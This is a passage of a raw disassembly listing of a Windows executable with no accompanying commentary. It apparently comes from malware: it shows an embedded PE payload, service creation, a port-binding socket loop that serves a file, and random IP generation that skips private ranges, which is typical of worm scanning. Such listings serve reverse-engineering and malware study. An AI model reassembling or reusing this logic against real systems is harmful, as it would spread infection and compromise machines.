call sub_43DCB4 xor eax, eax inc eax loc_43DC30: ; CODE XREF: .data:0043DB82j pop edi pop esi leave retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h db 0, 2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DC5B loc_43DC4A: ; CODE XREF: sub_43DC5B+Dj fldcw word ptr [esp+4+var_4] pop ecx mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_43DC5B ; --------------------------------------------------------------------------- dd 243CD950h db 58h, 0EBh, 0F3h ; =============== S U B R O U T I N E ======================================= sub_43DC5B proc near ; CODE XREF: .data:loc_43D789p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043DC4A SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_43DC4A sub_43DC5B endp ; --------------------------------------------------------------------------- align 4 dd 50E825FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC78 proc near ; CODE XREF: sub_43DA39+3Fp ; .data:0043DBEEp jmp dword ptr ds:100050ECh sub_43DC78 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC84 proc near ; CODE XREF: sub_43DA39+Fp ; sub_43DAF3+7p ... jmp dword ptr ds:100050F0h sub_43DC84 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC90 proc near ; CODE XREF: sub_43D844+10p jmp dword ptr ds:100050F4h sub_43DC90 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC9C proc near ; CODE XREF: .data:0043DB96p jmp dword ptr ds:100050F8h sub_43DC9C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCA8 proc near ; CODE XREF: sub_43D9DA+49p jmp dword ptr ds:100050FCh sub_43DCA8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCB4 proc near ; CODE XREF: sub_43DA39+14p ; .data:0043DC28p jmp dword ptr ds:10005100h sub_43DCB4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCC0 proc near ; CODE XREF: .data:0043DBD9p jmp dword ptr ds:10005104h sub_43DCC0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCCC proc near ; CODE XREF: sub_43D9DA+16p ; sub_43DA39+48p ... jmp dword ptr ds:10005108h sub_43DCCC endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCD8 proc near ; CODE XREF: sub_43DA39+B0p jmp dword ptr ds:1000510Ch sub_43DCD8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCE4 proc near ; CODE XREF: sub_43DA39+ABp jmp dword ptr ds:10005110h sub_43DCE4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCF0 proc near ; CODE XREF: sub_43D9DA+32p jmp dword ptr ds:10005114h sub_43DCF0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCFC proc near ; CODE XREF: sub_43D662+13p jmp dword ptr ds:10005118h sub_43DCFC endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD08 proc near ; CODE XREF: .data:0043DC23p jmp dword ptr ds:1000511Ch sub_43DD08 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD14 proc near ; CODE XREF: sub_43D7AC+33p ; sub_43D7AC+45p ... jmp dword ptr ds:10005128h sub_43DD14 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD20 proc near ; CODE XREF: sub_43D7AC+Bp ; sub_43D7AC+17p ... jmp dword ptr ds:1000512Ch sub_43DD20 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 dd 513025FFh, 90901000h, 0 dd 513425FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD44 proc near ; CODE XREF: sub_43D844+58p ; sub_43D844+96p jmp dword ptr ds:10005138h sub_43DD44 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD50 proc near ; CODE XREF: sub_43D930+23p jmp dword ptr ds:1000513Ch sub_43DD50 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 dd 514025FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD68 proc near ; CODE XREF: .data:0043D768p jmp dword ptr ds:10005144h sub_43DD68 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD74 proc near ; CODE XREF: sub_43D7AC+71p ; sub_43D7AC+86p jmp dword ptr ds:10005148h sub_43DD74 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD80 proc near ; CODE XREF: .data:0043DB41p jmp dword ptr ds:1000514Ch sub_43DD80 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD8C proc near ; CODE XREF: sub_43DAF3+14p ; .data:0043DC12p jmp dword ptr ds:10005150h sub_43DD8C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD98 proc near ; CODE XREF: sub_43D844+B7p jmp dword ptr ds:10005154h sub_43DD98 endp ; --------------------------------------------------------------------------- dw 9090h dd 14h dup(0) dd 2 dup(1), 7Ch dup(0) dd 10001536h, 5 dup(0) dd 7325h, 720077h, 1Ch dup(0) dd 2, 0Ch, 0 dd 3B4E2A00h, 734D3E5Ah db 0, 4Bh, 0 aPnpijd32 db 'Pnpijd32',0 ; DATA XREF: sub_403D2D+287o aJklmno db 'jklmno',0 aAy db 'Ay&',0 db '\',0 aTtii db '',0 align 4 dd 4Fh dup(0) dd 5070h, 2 dup(0) dd 52F8h, 50E8h, 50B0h, 2 dup(0) dd 5340h, 5128h, 12h dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 0 dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h dd 746E6572h, 65726854h, 64496461h, 0 dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h dd 4173676Eh, 0 dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h dd 73736563h, 70616548h, 0 dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch dd 72655674h, 6E6F6973h, 0 dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 704F01D2h, 754D6E65h, 41786574h, 0 dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0 dd 635F0039h, 74697865h, 0 dd 616D024Eh, 636F6C6Ch, 0 dd 656D0254h, 7970636Dh, 0 dd 7270025Bh, 66746E69h, 0 dd 61720260h, 657369h, 65730267h, 66756274h, 0 dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0 dd 74730275h, 79706372h, 0 aKernel32_dll_0 db 'KERNEL32.DLL',0 align 10h dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h) dd 22h dup(0) dd 20h, 0 dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0) dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch dd 33783374h, 4Ah dup(0) aB_1 db 0Ah db '|B',0 align 4 aP_2 db '(p',0 align 4 dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h dd 703Ch, 0 a_libmain@12 db '_LibMain@12',0 dd 6Eh dup(0) db 0 byte_43EBE9 db 4Dh, 5Ah, 90h ; DATA XREF: sub_403BBF+A7o dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0 dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h dd 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 500000h, 97000h, 1Ch dup(0) dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h dd 3 dup(0) dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0) dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h dd 1E0000h, 3 dup(0) dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h dd 2C0000h, 3 dup(0) dd 6000h, 0C0h, 79h dup(0) dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh dd 24548B08h, 0B8028910h, 3 db 0C3h ; =============== S U B R O U T I N E ======================================= sub_43F009 proc near ; CODE XREF: .data:0043F141p ; .data:0043F16Fp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_43F026: ; CODE XREF: sub_43F009+44j ; sub_43F009+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43F055 cmp esi, [esp+1Ch+arg_4] jz short loc_43F055 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43F026 call dword ptr [ebx+esi*4+8] jmp short loc_43F026 ; --------------------------------------------------------------------------- loc_43F055: ; CODE XREF: sub_43F009+2Aj ; sub_43F009+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43F009 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F063 proc near ; CODE XREF: .data:0043F134p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_4407A1 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43F063 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] mov dword ptr ds:loc_404088+4, eax mov dword ptr ds:loc_40408D+3, ebx test dword ptr [eax+4], 6 jnz loc_43F168 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax mov dword ptr ds:loc_40408D+3, eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43F0C6: ; CODE XREF: .data:0043F15Fj cmp esi, 0FFFFFFFFh jz loc_43F177 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43F156 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword ptr ds:loc_40402F+1, eax mov edx, [ebp-14h] mov eax, [edx] mov dword ptr ds:loc_404034, eax mov eax, [edx+4] mov dword ptr ds:loc_404034+4, eax push esi push edi push ecx mov ecx, 14h lea edi, loc_40403B+1 mov esi, dword ptr ds:loc_404034 rep movsd lea edi, loc_40403B+1 mov dword ptr ds:loc_404034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43F156 js short loc_43F164 mov edi, [ebx+8] push ebx call sub_43F063 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43F009 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43F156: ; CODE XREF: .data:0043F0D7j ; .data:0043F12Cj mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43F0C6 ; --------------------------------------------------------------------------- loc_43F164: ; CODE XREF: .data:0043F12Ej xor eax, eax jmp short loc_43F1D9 ; --------------------------------------------------------------------------- loc_43F168: ; CODE XREF: .data:0043F0A6j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43F009 add esp, 0Ch loc_43F177: ; CODE XREF: .data:0043F0C9j push 0 mov dword ptr ds:loc_40400F+1, 0Bh push 0Bh call sub_440945 add esp, 8 or eax, eax jnz short loc_43F1B2 push 0 mov dword ptr ds:loc_40400F+1, 8 push 8 call sub_440945 add esp, 8 or eax, eax jnz short loc_43F1B2 mov eax, 1 jmp short loc_43F1D9 ; --------------------------------------------------------------------------- loc_43F1B2: ; CODE XREF: .data:0043F18Fj ; .data:0043F1A9j cmp eax, 0FFFFFFFFh jz short loc_43F1E1 push eax push dword ptr ds:loc_40400F+1 call sub_440945 add esp, 8 push dword ptr ds:loc_40400F+1 call sub_44092D add esp, 4 mov eax, 1 loc_43F1D9: ; CODE XREF: .data:0043F166j ; .data:0043F1B0j ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_43F1E1: ; CODE XREF: .data:0043F1B5j cmp dword ptr ds:sub_404028+4, 0 jnz short loc_43F1F1 mov eax, 1 jmp short loc_43F1D9 ; --------------------------------------------------------------------------- loc_43F1F1: ; CODE XREF: .data:0043F1E8j mov eax, dword ptr ds:sub_404028+4 push 0Bh jmp eax ; --------------------------------------------------------------------------- dw 0B858h dd 1, 0A164D7EBh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_40401C push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp-18h], esp push eax fnstcw word ptr [esp] or word ptr [esp], 300h fldcw word ptr [esp] add esp, 4 push 0 push 0 push offset sub_404028 push 404024h push 404020h call sub_4408F1 push dword ptr ds:sub_404028 push dword ptr ds:loc_404023+1 push dword ptr ds:sub_40401C+4 mov dword ptr ds:loc_404014, esp call sub_440649 add esp, 18h xor ecx, ecx mov [ebp-4], ecx push eax call sub_440909 leave retn ; --------------------------------------------------------------------------- db 64h, 0A3h, 0 dd 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F285 proc near ; CODE XREF: sub_43F320+12p var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov edi, [ebp+arg_4] push 2 lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_4408E5 add esp, 0Ch lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_43F2A8: ; CODE XREF: sub_43F285+28j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F2A8 mov ebx, eax mov [ebp+var_2], bl mov [ebp+var_1], 0 jmp short loc_43F2D0 ; --------------------------------------------------------------------------- loc_43F2BA: ; CODE XREF: sub_43F285+55j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [edi+edx], al add [ebp+var_1], 1 loc_43F2D0: ; CODE XREF: sub_43F285+33j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_43F2BA movzx eax, [ebp+var_2] mov byte ptr [edi+eax], 0 mov [ebp+var_3], 0 jmp short loc_43F2FC ; --------------------------------------------------------------------------- loc_43F2EA: ; CODE XREF: sub_43F285+88j push 404DE5h push edi call sub_440969 add esp, 8 add [ebp+var_3], 1 loc_43F2FC: ; CODE XREF: sub_43F285+63j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_43F2EA push [ebp+arg_8] push edi call sub_440969 add esp, 8 pop edi pop esi pop ebx leave retn sub_43F285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F320 proc near ; CODE XREF: sub_440441+97p var_32 = byte ptr -32h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push offset sub_404DE3 lea eax, [ebp+var_32] push eax push [ebp+arg_0] call sub_43F285 add esp, 0Ch lea eax, [ebp+var_32] push eax call sub_440759 leave retn sub_43F320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F345 proc near ; CODE XREF: .data:004403FFp ; sub_440441+F1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push eax push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4408A9 mov edi, eax or edi, edi jz short loc_43F375 xor eax, eax jmp short loc_43F3AD ; --------------------------------------------------------------------------- loc_43F375: ; CODE XREF: sub_43F345+2Aj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_4408D9 mov edi, eax push [ebp+var_4] call sub_4408B5 or edi, edi jz short loc_43F39D xor eax, eax jmp short loc_43F3AD ; --------------------------------------------------------------------------- loc_43F39D: ; CODE XREF: sub_43F345+52j cmp [ebp+var_8], 1 jnz short loc_43F3AA mov eax, 2 jmp short loc_43F3AD ; --------------------------------------------------------------------------- loc_43F3AA: ; CODE XREF: sub_43F345+5Cj xor eax, eax inc eax loc_43F3AD: ; CODE XREF: sub_43F345+2Ej ; sub_43F345+56j ... pop edi leave retn sub_43F345 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F3B0 proc near ; CODE XREF: .data:004403D8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4408C1 mov edi, eax or edi, edi jz short loc_43F3D5 xor eax, eax jmp short loc_43F400 ; --------------------------------------------------------------------------- loc_43F3D5: ; CODE XREF: sub_43F3B0+1Fj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_4408CD mov edi, eax push [ebp+var_4] call sub_4408B5 or edi, edi jz short loc_43F3FD xor eax, eax jmp short loc_43F400 ; --------------------------------------------------------------------------- loc_43F3FD: ; CODE XREF: sub_43F3B0+47j xor eax, eax inc eax loc_43F400: ; CODE XREF: sub_43F3B0+23j ; sub_43F3B0+4Bj pop edi leave retn sub_43F3B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push ebx push esi push edi xor ebx, ebx push 0 push 100h lea eax, [ebp-100h] push eax push dword ptr [ebp+8] call sub_440601 cmp eax, 0FFFFFFFFh jz loc_43F547 push 404DDFh lea eax, [ebp-100h] push eax call sub_440981 add esp, 8 or eax, eax jz loc_43F509 push 404DDBh lea edx, [ebp-100h] push edx call sub_440981 add esp, 8 or eax, eax jz loc_43F509 push 0 push 3Dh push 404D9Dh push dword ptr [ebp+8] call sub_44060D push dword ptr ds:loc_403004 push 404D86h lea eax, [ebp-200h] push eax call sub_440951 add esp, 0Ch lea ecx, [ebp-200h] or eax, 0FFFFFFFFh loc_43F49C: ; CODE XREF: .data:0043F4A1j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F49C push 0 push eax lea edx, [ebp-200h] push edx push dword ptr [ebp+8] call sub_44060D loc_43F4B5: ; CODE XREF: .data:0043F4FBj mov eax, dword ptr ds:loc_403004 mov edi, eax sub edi, ebx cmp edi, 1000h jb short loc_43F4CB mov edi, 1000h loc_43F4CB: ; CODE XREF: .data:0043F4C4j or edi, edi jz short loc_43F4FD push 0 push edi mov eax, ebx add eax, dword ptr ds:loc_403006+2 push eax push dword ptr [ebp+8] call sub_44060D mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_43F547 cmp esi, 1000h jb short loc_43F4FD add ebx, esi push 64h call sub_4407B9 jmp short loc_43F4B5 ; --------------------------------------------------------------------------- loc_43F4FD: ; CODE XREF: .data:0043F4CDj ; .data:0043F4F0j push 404098h call sub_440771 jmp short loc_43F52B ; --------------------------------------------------------------------------- loc_43F509: ; CODE XREF: .data:0043F446j ; .data:0043F462j push 0 push 15h push offset sub_404D70 push dword ptr [ebp+8] call sub_44060D push 0 push 0Dh push offset sub_40409C push dword ptr [ebp+8] call sub_44060D loc_43F52B: ; CODE XREF: .data:0043F507j push 7D0h call sub_4407B9 push 2 push dword ptr [ebp+8] call sub_440619 push dword ptr [ebp+8] call sub_4405A1 loc_43F547: ; CODE XREF: .data:0043F42Aj ; .data:0043F4E8j pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 0 push 404098h call sub_440765 push 0 push 80h push 3 push 0 push 1 push 80000000h push 403010h call sub_440789 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_43F58D push 1 call sub_4406F9 loc_43F58D: ; CODE XREF: .data:0043F584j push 0 push ebx call sub_44071D mov dword ptr ds:loc_403004, eax push eax push 0 call sub_44077D mov dword ptr ds:loc_403006+2, eax push 0 lea eax, [ebp-30h] push eax push dword ptr ds:loc_403004 push dword ptr ds:loc_403006+2 push ebx call sub_440795 push ebx call sub_440735 push 0 push 1 push 2 call sub_440625 mov esi, eax push 10h lea eax, [ebp-24h] push eax call sub_4407AD mov word ptr [ebp-24h], 2 and dword ptr [ebp-20h], 0 mov word ptr [ebp-26h], 0 loc_43F5ED: ; CODE XREF: .data:0043F62Dj movzx eax, word ptr [ebp-26h] add eax, 50h mov word ptr ds:loc_404094, ax movzx eax, word ptr ds:loc_404094 push eax call sub_4405D1 mov edx, eax mov [ebp-22h], dx push 10h lea eax, [ebp-24h] push eax push esi call sub_440595 mov [ebp-2Ch], eax inc word ptr [ebp-26h] or eax, eax jz short loc_43F62F movzx eax, word ptr [ebp-26h] cmp eax, 0FDE8h jl short loc_43F5ED loc_43F62F: ; CODE XREF: .data:0043F622j push 64h push esi call sub_4405F5 mov dword ptr [ebp-4], 10h loc_43F63E: ; CODE XREF: .data:0043F669j lea eax, [ebp-4] push eax lea eax, [ebp-14h] push eax push esi call sub_440589 mov edi, eax lea eax, [ebp-34h] push eax push 0 push edi push 40141Ah push 0 push 0 call sub_4407DD push eax call sub_440735 jmp short loc_43F63E ; --------------------------------------------------------------------------- db 5Fh dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F670 proc near ; CODE XREF: .data:0043FEA3p var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_13 = byte ptr -13h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_13] lea esi, loc_4040A6+4 mov ecx, 4 rep movsd lea edi, [ebp+var_18] lea esi, loc_4040B8+2 mov ecx, 5 rep movsb loc_43F699: ; CODE XREF: sub_43F670+51j ; sub_43F670+74j call sub_440939 mov ecx, 0DDh cdq idiv ecx lea edi, [edx+3] mov ebx, edi mov [ebp+var_3], bl mov [ebp+var_2], 0 jmp short loc_43F6EA ; --------------------------------------------------------------------------- loc_43F6B6: ; CODE XREF: sub_43F670+81j mov al, [ebp+var_3] movzx edx, [ebp+var_2] cmp al, [ebp+edx+var_13] jz short loc_43F699 movzx eax, [ebp+var_2] cmp eax, 5 jnb short loc_43F6E6 movzx eax, [ebp+var_3] movzx edx, [ebp+var_2] movzx ecx, [ebp+edx+var_13] cmp eax, ecx jb short loc_43F6E6 movzx edx, [ebp+edx+var_18] cmp eax, edx jbe short loc_43F699 loc_43F6E6: ; CODE XREF: sub_43F670+5Aj ; sub_43F670+6Bj inc [ebp+var_2] loc_43F6EA: ; CODE XREF: sub_43F670+44j movzx eax, [ebp+var_2] cmp eax, 10h jb short loc_43F6B6 loc_43F6F3: ; CODE XREF: sub_43F670+ACj call sub_440939 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_19], bl movzx eax, [ebp+var_3] cmp eax, 0C0h jnz short loc_43F71E movzx eax, [ebp+var_19] cmp eax, 0A8h jz short loc_43F6F3 loc_43F71E: ; CODE XREF: sub_43F670+A1j call sub_440939 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1A], bl call sub_440939 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1B], bl movzx eax, [ebp+var_1B] push eax movzx eax, [ebp+var_1A] push eax movzx eax, [ebp+var_19] push eax movzx eax, [ebp+var_3] push eax push 404D64h push [ebp+arg_0] call sub_440951 add esp, 18h pop edi pop esi pop ebx leave retn sub_43F670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F771 proc near ; CODE XREF: .data:004400A8p var_89F4 = dword ptr -89F4h var_89F0 = dword ptr -89F0h var_89EC = dword ptr -89ECh var_89E8 = dword ptr -89E8h var_89E3 = byte ptr -89E3h var_89E2 = word ptr -89E2h var_89E0 = byte ptr -89E0h var_89D8 = byte ptr -89D8h var_8970 = byte ptr -8970h var_6900 = byte ptr -6900h var_68E2 = byte ptr -68E2h var_6842 = byte ptr -6842h var_6136 = dword ptr -6136h var_6126 = byte ptr -6126h var_6112 = byte ptr -6112h var_60A2 = byte ptr -60A2h var_55DE = byte ptr -55DEh var_403A = byte ptr -403Ah var_4039 = byte ptr -4039h var_3FBD = byte ptr -3FBDh var_37ED = byte ptr -37EDh var_3342 = byte ptr -3342h var_3058 = dword ptr -3058h var_3054 = dword ptr -3054h var_3050 = dword ptr -3050h var_304C = word ptr -304Ch var_304A = word ptr -304Ah var_3048 = dword ptr -3048h var_303C = byte ptr -303Ch var_3039 = byte ptr -3039h var_300F = byte ptr -300Fh var_300D = byte ptr -300Dh var_300C = byte ptr -300Ch var_2FC7 = byte ptr -2FC7h var_2F83 = byte ptr -2F83h var_2987 = byte ptr -2987h var_21A3 = byte ptr -21A3h var_2193 = byte ptr -2193h var_1E6F = byte ptr -1E6Fh var_1E6B = byte ptr -1E6Bh var_1E5F = byte ptr -1E5Fh var_1BDA = byte ptr -1BDAh var_1BD9 = byte ptr -1BD9h var_B46 = byte ptr -0B46h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_54 